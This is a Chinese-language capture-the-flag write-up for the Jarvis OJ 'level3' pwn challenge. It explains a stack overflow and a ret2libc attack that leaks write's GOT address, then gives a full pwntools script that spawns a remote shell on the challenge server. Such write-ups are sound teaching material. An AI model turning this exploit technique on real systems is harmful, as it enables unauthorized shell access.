(Jarvis Oj)(Pwn) level3

(Jarvis Oj)(Pwn) level3

首先用checksec查看一下保护。
(Jarvis Oj)(Pwn) level3_第1张图片
依然开启了NX保护。ida反汇编,找到溢出点。
(Jarvis Oj)(Pwn) level3_第2张图片
可是呢,这次在程序中并没有找到system函数,和”/bin/sh”字符串,那么这次该如何拿到shell呢,还是利用system函数,但是没有程序中system的plt,我们如何获取system的地址呢,这需要利用到在libc.so文件中各个函数的相对位置和加载到内存中之后各个函数的相对位置相同这一特性来获取,我们在程序中发现了,write函数,write函数可以将东西写出来,我们就可以将write函数在内存中的地址泄露出来,由于system和write函数在libc.so文件中的地址是可以知道的,那么进而我们就可以知道system在内存中的的地址,同理可以知道”/bin/sh”在内存中的地址,于是就可以调用system(“/bin/sh”)达到获取shell的目的。至于write函数在内存中的地址是保存在got表中,在第二次运行write函数的时候,got表中就已经记录了write的地址。示意图如下:
(Jarvis Oj)(Pwn) level3_第3张图片
按参数顺序构造输入,write函数返回值设置为vul函数是为了再次调用read函数,来进行第二次攻击,此次就是调用system函数。
(Jarvis Oj)(Pwn) level3_第4张图片
最后写得脚本。

from pwn import *                                                                                                      
#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com","9879")
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B  
write_plt=e.symbols['write'] 
write_got=e.got['write'] 

payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
conn.recvuntil("Input:\n")
conn.sendline(payload1)

write_addr=u32(conn.recv(4))

#calculate the system_address in memory
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()

system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh

payload2='A'*pad+"BBBB"+p32(system_addr)+"dead"+p32(sh_addr)
conn.sendline(payload2)
conn.interactive()

你可能感兴趣的:(pwn)